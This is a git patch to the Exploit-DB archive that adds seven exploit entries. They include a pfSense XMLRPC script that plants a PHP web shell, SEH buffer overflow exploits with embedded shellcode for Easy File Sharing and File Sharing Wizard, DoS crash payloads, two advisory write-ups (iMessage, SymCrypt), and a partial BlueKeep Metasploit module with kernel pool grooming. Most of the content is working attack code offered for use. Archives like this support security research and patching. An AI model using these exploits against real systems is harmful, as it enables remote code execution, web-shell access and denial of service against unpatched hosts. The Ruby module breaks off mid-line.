From d7ea903400e5b9c4360669e8c791e8d0b1d07762 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Wed, 25 Sep 2019 05:04:03 +0000 Subject: [PATCH] DB: 2019-09-25 7 changes to exploits/shellcodes DeviceViewer 3.12.0.1 - 'creating user' Denial of Service Microsoft Windows cryptoapi - SymCrypt Modular Inverse Algorithm Denial of Service iMessage - Decoding NSSharedKeyDictionary Can Read Object Out of Bounds Easy File Sharing Web Server 7.2 - 'New User' Local SEH Overflow File Sharing Wizard 1.5.0 - POST SEH Overflow Microsoft Windows - BlueKeep RDP Remote Windows Kernel Use After Free (Metasploit) Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection --- exploits/ios/dos/47415.txt | 34 + exploits/php/webapps/47413.py | 167 +++++ exploits/windows/dos/47410.py | 32 + exploits/windows/dos/47414.txt | 11 + exploits/windows/local/47411.py | 87 +++ exploits/windows/remote/47412.py | 80 +++ exploits/windows/remote/47416.rb | 1122 ++++++++++++++++++++++++++++++ files_exploits.csv | 7 + 8 files changed, 1540 insertions(+) create mode 100644 exploits/ios/dos/47415.txt create mode 100755 exploits/php/webapps/47413.py create mode 100755 exploits/windows/dos/47410.py create mode 100644 exploits/windows/dos/47414.txt create mode 100755 exploits/windows/local/47411.py create mode 100755 exploits/windows/remote/47412.py create mode 100755 exploits/windows/remote/47416.rb diff --git a/exploits/ios/dos/47415.txt b/exploits/ios/dos/47415.txt new file mode 100644 index 000000000..36fc2762f --- /dev/null +++ b/exploits/ios/dos/47415.txt @@ -0,0 +1,34 @@ +When an NSKeyedUnarchiver decodes an object, it first allocates the object using allocWithZone, and then puts the object into a dictionary for temporary objects. It then calls the appropriate initWithCoder: on the allocated object. If initWithCoder: or any method it calls decodes the same object, its gets back a reference to the original object in the temporary object dictionary. For many classes, this is a placeholder object that will throw an "uninitialized" exception when accessed, but for some classes, this is the object that will eventually be returned by initWithCoder:. This means that when an initWithCoder: method decodes an object that has a reference to itself in it, the object might not be fully initialized. + +The NSSharedKeyDictionary class is a subclass of NSDictionary that allows for a dictionary to be greatly optimized if the keys it uses are declared up front. The keys are specified in an instance of class NSSharedKeySet. This instance can have a child keyset, and the child keyset can also have a child keyset and so on. This allows for multiple keysets to be used by a single dictionary. When a dictionary is initialized, it adds the length of its keyset as well as child keysets at each level, and initializes a value array of that length. Values are then stored and accessed by calculating a key's index based on its position in it keyset, and accessing that location in the value array. + +It is possible to combine these two behaviors to create an NSSharedKeyDictionary with a value array that is too small. When an NS NSSharedKeyDictionary is decoded, it will start by decoding the NSSharedKeySet for that dictionary. That keyset, can in turn decode another dictionary as one of its keys. If the second dictionary decodes the same keyset as its keyset, it will get back a reference to the keyset that is in the process of being initialized. That keyset could have a child keyset, but the child keyset has not been decoded at this stage in initializtion. This leads to the second dictionary calculating the length of its value array based on keyset not having a child keyset, even though it could have one. This means that if a key in the child keyset of this array is accessed in this dictionary, the value returned will be read from unallocated memory on the heap (this memory could also be written if a key in the child keyset is set, but it unusual for decoded dictionaries to be written to). + +To reproduce this issue in iMessage: + +1) install frida (pip3 install frida) +2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device +3) in injectMessage.js replace the marker "PATH" with the path of the obj file +4) in the local directory, run: + +python3 sendMessage.py + +This PoC does not crash very reliably in Springboard, though I think this issue is likely exploitable. To make reproducing this issue easier, I've attached a test program for Mac that reproduces the decoding issue. To reproduce the issue using this program: + +1) Build the program: + +clang decodeshared.m -o decodeshared -fobjc-arc -framework Corespotlight + +2) Run the program with libgmalloc and the attached obj file: + +DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib ./decodeshared obj + +This will lead to a consistent crash where the out-of-bounds read occurs. + +A log of this issue crashing in Springboard is attached. + +The NSSharedDictionary initWithCoder implementation is very complex and greatly increases the attack surface of decoding the NSDictionary class. Moreover, it has functional problems that suggest that it is not widely used, and NSSharedDictionary instances can be correctly encoded and decoded with the NSDictionary initWithCoder. I recommend that this issue be resolved by removing custom encoding for the NSSharedDictionary class. + + +Proof of Concept: +https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47415.zip \ No newline at end of file diff --git a/exploits/php/webapps/47413.py b/exploits/php/webapps/47413.py new file mode 100755 index 000000000..355481786 --- /dev/null +++ b/exploits/php/webapps/47413.py @@ -0,0 +1,167 @@ +# Exploit Title: Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection +# Date: 23/09/2018 +# Author: Nassim Asrir +# Vendor Homepage: https://www.pfsense.org/ +# Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/ +# CVE: CVE-2019-16701 +# Tested On: Windows 10(64bit) | Pfsense 2.3.4 / 2.4.4-p3 +###################################################################################################### + +1 : About Pfsense: +================== + +pfSense is a free and open source firewall and router that also features unified threat management, load balancing, multi WAN, and more. + +2 : Technical Analysis: +======================= + +The pfsense allow users (uid=0) to make remote procedure calls over HTTP (XMLRPC) and the XMLRPC contain some critical methods which allow any authenticated user/hacker to execute OS commands. + +XMLRPC methods: + +pfsense.exec_shell +pfsense.exec_php +pfsense.filter_configure +pfsense.interfaces_carp_configure +pfsense.backup_config_section +pfsense.restore_config_section +pfsense.merge_config_section +pfsense.merge_installedpackages_section_xmlrpc +pfsense.host_firmware_version +pfsense.reboot +pfsense.get_notices +system.listMethods +system.methodHelp +system.methodSignature + +As we see in the output we have two interesting methods: pfsense.exec_shell and pfsense.exec_php. + +2 : Static Analysis: +==================== + +In the static analysis we will analysis the xmlrpc.php file. + +Line (73 - 82) + +This code check if the user have enough privileges. + +$user_entry = getUserEntry($username); + /* + * admin (uid = 0) is allowed + * or regular user with necessary privilege + */ + if (isset($user_entry['uid']) && $user_entry['uid'] != '0' && + !userHasPrivilege($user_entry, 'system-xmlrpc-ha-sync')) { + log_auth("webConfigurator authentication error for '" . + $username . "' from " . $this->remote_addr . + " not enough privileges"); + + +Line (137 - 146) + +This part of code is the interest for us. + +As we can see, first we have a check for auth then we have the dangerous function (eval) which take as parametere ($code). + + public function exec_php($code) { + $this->auth(); + + eval($code); + if ($toreturn) { + return $toreturn; + } + + return true; + } + +Line (155 - 160) + +In this part of code also we have a check for auth then the execution for ($code) + + public function exec_shell($code) { + $this->auth(); + + mwexec($code); + return true; + } + +3 - Exploit: +============ + +#!/usr/bin/env python + +import argparse +import requests +import urllib2 +import time +import sys +import string +import random + +parser = argparse.ArgumentParser() +parser.add_argument("--rhost", help = "Target Uri https://127.0.0.1") +parser.add_argument("--password", help = "pfsense Password") +args = parser.parse_args() + +rhost = args.rhost +password = args.password +print "" + +print "[+] CVE-2019-16701 - Pfsense - Remote Code Injection" +print "" +print "[+] Author: Nassim Asrir" +print "" + +command = "" +command += "" +command += "pfsense.host_firmware_version" +command += "" +command += ""+password+"" +command += "" +command += "" + +stage1 = rhost + "/xmlrpc.php" + +page = urllib2.urlopen(stage1, data=command).read() + +print "[+] Checking Login Creds" + + +if "Authentication failed" in page: + + print "[-] Wrong password :(" + sys.exit(0) +else: + + random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(32)]) + + print "[+] logged in successfully :)" + print "[+] Generating random file "+random+".php" + print "[+] Sending the exploit ....." + + + command = "" + command += "" + command += "pfsense.exec_php" + command += "" + command += ""+password+"" + command += "exec('echo \\'
  
\\' > /usr/local/www/"+random+".php');
" + command += "
" + command += "
" + +stage1 = rhost + "/xmlrpc.php" + +page = urllib2.urlopen(stage1, data=command).read() + +final = rhost+"/"+str(random)+".php" + +check = urllib2.urlopen(final) + +print "[+] Checking ....." + +if check.getcode() == 200: + + print "[+] Yeah! You got your shell: " + final+"?cmd=id" +else: + + print "[+] Sorry :( Shell not found check the path" \ No newline at end of file diff --git a/exploits/windows/dos/47410.py b/exploits/windows/dos/47410.py new file mode 100755 index 000000000..56dfe1275 --- /dev/null +++ b/exploits/windows/dos/47410.py @@ -0,0 +1,32 @@ +#!/usr/bin/python + +# Exploit Title: DeviceViewer 3.12.0.1 - 'creating user' DOS buffer overflow +# Date: 9/23/2019 +# Exploit Author: x00pwn +# Vendor Homepage: http://www.sricam.com/ +# Software Link: http://download.sricam.com/Manual/DeviceViewer.exe +# Version: v3.12.0.1 +# Tested on: Windows 7 + +# Steps to reproduce: +# 1. Generate a malicious payload via the POC +# 2. In the Sricam application create a new user +# 3. When creating a new user, set the username as the malicious payload +# 4. Observe a program DOScrash + +payload = "A" * 5000 + +try: + evilCreate =open("exploit.txt","w") + print(""" + DeviceViewer 3.12.0.1 DOS exploit POC + Author: Nu11pwn + """) + print("[x] Creating malicious file") + evilCreate.write(payload) + evilCreate.close() + print("[x] Malicious file create") + print("[x] When creating a new user, set the username to the file contents") + print("[x] Watch the program crash") +except: + print("[!] File failed to be created") \ No newline at end of file diff --git a/exploits/windows/dos/47414.txt b/exploits/windows/dos/47414.txt new file mode 100644 index 000000000..e91c74a24 --- /dev/null +++ b/exploits/windows/dos/47414.txt @@ -0,0 +1,11 @@ +There's a bug in the SymCrypt multi-precision arithmetic routines that can cause an infinite loop when calculating the modular inverse on specific bit patterns with bcryptprimitives!SymCryptFdefModInvGeneric. + +I've been able to construct an X.509 certificate that triggers the bug. I've found that embedding the certificate in an S/MIME message, authenticode signature, schannel connection, and so on will effectively DoS any windows server (e.g. ipsec, iis, exchange, etc) and (depending on the context) may require the machine to be rebooted. Obviously, lots of software that processes untrusted content (like antivirus) call these routines on untrusted data, and this will cause them to deadlock. + +You can verify it like so, and notice the command never completes: + +C:\> certutil.exe testcase.crt + + +Proof of Concept: +https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47414.zip \ No newline at end of file diff --git a/exploits/windows/local/47411.py b/exploits/windows/local/47411.py new file mode 100755 index 000000000..e50c58800 --- /dev/null +++ b/exploits/windows/local/47411.py @@ -0,0 +1,87 @@ +#!/usr/bin/python + +# Exploit Title: Easy File Sharing Web Server 7.2 local SEH overflow +# Date: 9/23/2019 +# Exploit Author: x00pwn +# Vendor Homepage: http://www.sharing-file.com/ +# Software Link: http://www.sharing-file.com/efssetup.exe +# Version: 7.2 +# Tested on: Windows 7 + +# Exploit summary: When adding a new user to the application, you can exploit a local SEH buffer overflow +# by creating a malicious username, this exploit POC will create a malicious text file +# with the contents to execute arbitrary code. +# Author : Nu11pwn + +badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" +"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" +"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" +"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" +"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" +"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" +"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") + +# found bad chars - "\x00\x0a\x0d" + +shellcode = "" +shellcode += "\xbb\xc4\x1c\xb2\xd3\xdd\xc2\xd9\x74\x24\xf4\x5e" +shellcode += "\x2b\xc9\xb1\x31\x31\x5e\x13\x83\xc6\x04\x03\x5e" +shellcode += "\xcb\xfe\x47\x2f\x3b\x7c\xa7\xd0\xbb\xe1\x21\x35" +shellcode += "\x8a\x21\x55\x3d\xbc\x91\x1d\x13\x30\x59\x73\x80" +shellcode += "\xc3\x2f\x5c\xa7\x64\x85\xba\x86\x75\xb6\xff\x89" +shellcode += "\xf5\xc5\xd3\x69\xc4\x05\x26\x6b\x01\x7b\xcb\x39" +shellcode += "\xda\xf7\x7e\xae\x6f\x4d\x43\x45\x23\x43\xc3\xba" +shellcode += "\xf3\x62\xe2\x6c\x88\x3c\x24\x8e\x5d\x35\x6d\x88" +shellcode += "\x82\x70\x27\x23\x70\x0e\xb6\xe5\x49\xef\x15\xc8" +shellcode += "\x66\x02\x67\x0c\x40\xfd\x12\x64\xb3\x80\x24\xb3" +shellcode += "\xce\x5e\xa0\x20\x68\x14\x12\x8d\x89\xf9\xc5\x46" +shellcode += "\x85\xb6\x82\x01\x89\x49\x46\x3a\xb5\xc2\x69\xed" +shellcode += "\x3c\x90\x4d\x29\x65\x42\xef\x68\xc3\x25\x10\x6a" +shellcode += "\xac\x9a\xb4\xe0\x40\xce\xc4\xaa\x0e\x11\x5a\xd1" +shellcode += "\x7c\x11\x64\xda\xd0\x7a\x55\x51\xbf\xfd\x6a\xb0" +shellcode += "\x84\xfc\x9b\x09\x10\x68\x02\xf8\x59\xf4\xb5\xd6" +shellcode += "\x9d\x01\x36\xd3\x5d\xf6\x26\x96\x58\xb2\xe0\x4a" +shellcode += "\x10\xab\x84\x6c\x87\xcc\x8c\x0e\x46\x5f\x4c\xff" +shellcode += "\xed\xe7\xf7\xff" + +# Log data, item 69 +# Address=0BADF00D +# Message= 0x10000000 | 0x10050000 | 0x00050000 | False | False | False | False | False | -1.0- [ImageLoad.dll] (C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll) + +# Log data, item 24 +# Address=100195F2 +# Message= 0x100195f2 : pop esi # pop ecx # ret | {PAGE_EXECUTE_READ} [ImageLoad.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll) + +nseh = "\xEB\x06\x90\x90" +seh = "\xF2\x95\x01\x10" + +payload = "A" * 4059 +payload += nseh +payload += seh +payload += "\x90" * 16 +payload += shellcode +payload += "D" *4000 + +# SEH chain of main thread, item 1 +# Address=46336646 +# SE handler=*** CORRUPT ENTRY *** + +# Log data, item 34 +# Address=0BADF00D +# Message= SEH record (nseh field) at 0x0018a938 overwritten with normal pattern : 0x46336646 (offset 4059), followed by 933 bytes of cyclic data after the handler +# [*] Exact match at offset 4059 + +try: + evilCreate =open("exploit.txt","w") + print(""" + Easy File Sharing web server SEH overflow + """) + print("[x] Creating malicious file") + evilCreate.write(payload) + evilCreate.close() + print("[x] Malicious file create") + print("[x] Go to user accounts and add a new user with malicious name") + print("[x] Watch the program crash") +except: + print("[!] File failed to be created") \ No newline at end of file diff --git a/exploits/windows/remote/47412.py b/exploits/windows/remote/47412.py new file mode 100755 index 000000000..4e3236a46 --- /dev/null +++ b/exploits/windows/remote/47412.py @@ -0,0 +1,80 @@ +import socket +from struct import * + +# Exploit Title: File sharing wizard 'post' remote SEH overflow +# Date: 9/23/2019 +# Exploit Author: x00pwn +# Software Link: https://file-sharing-wizard.soft112.com/ +# Version: 1.5.0 +# Tested on: Windows 7 +# CVE : CVE-2019-16724 + +# File-sharing-wizard-seh + +#----------------------------------------------# +# Bad characters: \x00 # +# SEH value: 0x909032EB (JMP short) # +# NSEH value: 0x7c38a67f (POP POP RET) # +#----------------------------------------------# + +# Assigned CVE ID : CVE-2019-16724 + +victim_host = "10.0.0.17" +victim_port = 80 + +# msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f python -v shellcode EXITFUNC=seh +shellcode = "" +shellcode += "\xd9\xc7\xd9\x74\x24\xf4\xba\x65\x1d\x84\xe1\x5f" +shellcode += "\x29\xc9\xb1\x31\x31\x57\x18\x03\x57\x18\x83\xef" +shellcode += "\x99\xff\x71\x1d\x89\x82\x7a\xde\x49\xe3\xf3\x3b" +shellcode += "\x78\x23\x67\x4f\x2a\x93\xe3\x1d\xc6\x58\xa1\xb5" +shellcode += "\x5d\x2c\x6e\xb9\xd6\x9b\x48\xf4\xe7\xb0\xa9\x97" +shellcode += "\x6b\xcb\xfd\x77\x52\x04\xf0\x76\x93\x79\xf9\x2b" +shellcode += "\x4c\xf5\xac\xdb\xf9\x43\x6d\x57\xb1\x42\xf5\x84" +shellcode += "\x01\x64\xd4\x1a\x1a\x3f\xf6\x9d\xcf\x4b\xbf\x85" +shellcode += "\x0c\x71\x09\x3d\xe6\x0d\x88\x97\x37\xed\x27\xd6" +shellcode += "\xf8\x1c\x39\x1e\x3e\xff\x4c\x56\x3d\x82\x56\xad" +shellcode += "\x3c\x58\xd2\x36\xe6\x2b\x44\x93\x17\xff\x13\x50" +shellcode += "\x1b\xb4\x50\x3e\x3f\x4b\xb4\x34\x3b\xc0\x3b\x9b" +shellcode += "\xca\x92\x1f\x3f\x97\x41\x01\x66\x7d\x27\x3e\x78" +shellcode += "\xde\x98\x9a\xf2\xf2\xcd\x96\x58\x98\x10\x24\xe7" +shellcode += "\xee\x13\x36\xe8\x5e\x7c\x07\x63\x31\xfb\x98\xa6" +shellcode += "\x76\xfd\x69\x7b\x62\x6a\xd0\xee\xcf\xf6\xe3\xc4" +shellcode += "\x13\x0f\x60\xed\xeb\xf4\x78\x84\xee\xb1\x3e\x74" +shellcode += "\x82\xaa\xaa\x7a\x31\xca\xfe\x18\xd4\x58\x62\xf1" +shellcode += "\x73\xd9\x01\x0d" + +nseh = pack (' 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free', + 'Description' => %q( + The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120, + allowing a malformed Disconnect Provider Indication message to cause use-after-free. + With a controllable data/size remote nonpaged pool spray, an indirect call gadget of + the freed channel is used to achieve arbitrary code execution. + ), + 'Author' => + [ + 'Sean Dillon ', # @zerosum0x0 - Original exploit + 'Ryan Hanson', # @ryHanson - Original exploit + 'OJ Reeves ', # @TheColonial - Metasploit module + 'Brent Cook ', # @busterbcook - Assembly whisperer + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2019-0708'], + ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'WfsDelay' => 5, + 'RDP_CLIENT_NAME' => 'ethdev', + 'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep' + }, + 'Privileged' => true, + 'Payload' => + { + 'Space' => CHUNK_SIZE - HEADER_SIZE, + 'EncoderType' => Msf::Encoder::Type::Raw, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ + 'Automatic targeting via fingerprinting', + { + 'Arch' => [ARCH_X64], + 'FingerprintOnly' => true + }, + ], + # + # + # Windows 2008 R2 requires the following registry change from default: + # + # [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd] + # "fDisableCam"=dword:00000000 + # + [ + 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X64], + 'GROOMBASE' => 0xfffffa8003800000, + 'GROOMSIZE' => 100 + } + ], + [ + # This works with Virtualbox 6 + 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X64], + 'GROOMBASE' => 0xfffffa8002407000 + } + ], + [ + # This address works on VMWare 14 + 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X64], + 'GROOMBASE' => 0xfffffa8030c00000 + } + ], + [ + # This address works on VMWare 15 + 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X64], + 'GROOMBASE' => 0xfffffa8018C00000 + } + ], + [ + # This address works on VMWare 15.1 + 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X64], + 'GROOMBASE' => 0xfffffa8018c08000 + } + ], + [ + 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X64], + 'GROOMBASE' => 0xfffffa8102407000 + } + ], + [ + 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X64], + 'GROOMBASE' => 0xfffffa8018c08000 + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 14 2019', + 'Notes' => + { + 'AKA' => ['Bluekeep'] + } + )) + + register_advanced_options( + [ + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]), + OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]), + OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]), + ] + ) + end + + def exploit + unless check == CheckCode::Vulnerable || datastore['ForceExploit'] + fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + end + + if target['FingerprintOnly'] + fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually') + end + + begin + rdp_connect + rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError + fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service') + end + + is_rdp, server_selected_proto = rdp_check_protocol + unless is_rdp + fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service') + end + + # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us + # from exploiting the target. + if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto) + fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.') + end + + chans = [ + ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP], + [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], + [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], + ['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], + ['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], + ['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], + ['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], + ['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], + ['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], + ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], + ] + + @mst120_chan_id = 1004 + chans.length - 1 + + unless rdp_negotiate_security(chans, server_selected_proto) + fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.') + end + + rdp_establish_session + + rdp_dispatch_loop + end + +private + + # This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is + # received on a channel, and this is when we need to kick off our exploit. + def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data) + # We have to do the default behaviour first. + super(pkt, user, chan_id, flags, data) + + groom_size = datastore['GROOMSIZE'] + pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size) + groom_chan_count = datastore['GROOMCHANNELCOUNT'] + + payloads = create_payloads(pool_addr) + + print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.") + + target_channel_id = chan_id + 1 + + spray_buffer = create_exploit_channel_buffer(pool_addr) + spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF) + free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80 + + print_status("Surfing channels ...") + rdp_send(spray_channel * 1024) + rdp_send(free_trigger) + + chan_surf_size = 0x421 + spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min + chan_surf_packet = spray_channel * spray_packets + chan_surf_count = chan_surf_size / spray_packets + + chan_surf_count.times do + rdp_send(chan_surf_packet) + end + + print_status("Lobbing eggs ...") + + groom_mb = groom_size * 1024 / payloads.length + + groom_mb.times do + tpkts = '' + for c in 0..groom_chan_count + payloads.each do |p| + tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF) + end + end + rdp_send(tpkts) + end + + # Terminating and disconnecting forces the USE + print_status("Forcing the USE of FREE'd object ...") + rdp_terminate + rdp_disconnect + end + + # Helper function to create the kernel mode payload and the usermode payload with + # the egg hunter prefix. + def create_payloads(pool_address) + begin + [kernel_mode_payload, user_mode_payload].map { |p| + [ + pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg + p + ].pack(' ex + print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})") + end + end + + def assemble_with_fixups(asm) + # Rewrite all instructions of form 'lea reg, [rel label]' as relative + # offsets for the instruction pointer, since metasm's 'ModRM' parser does + # not grok that syntax. + lea_rel = /lea+\s(?\w{2,3}),*\s\[rel+\s(?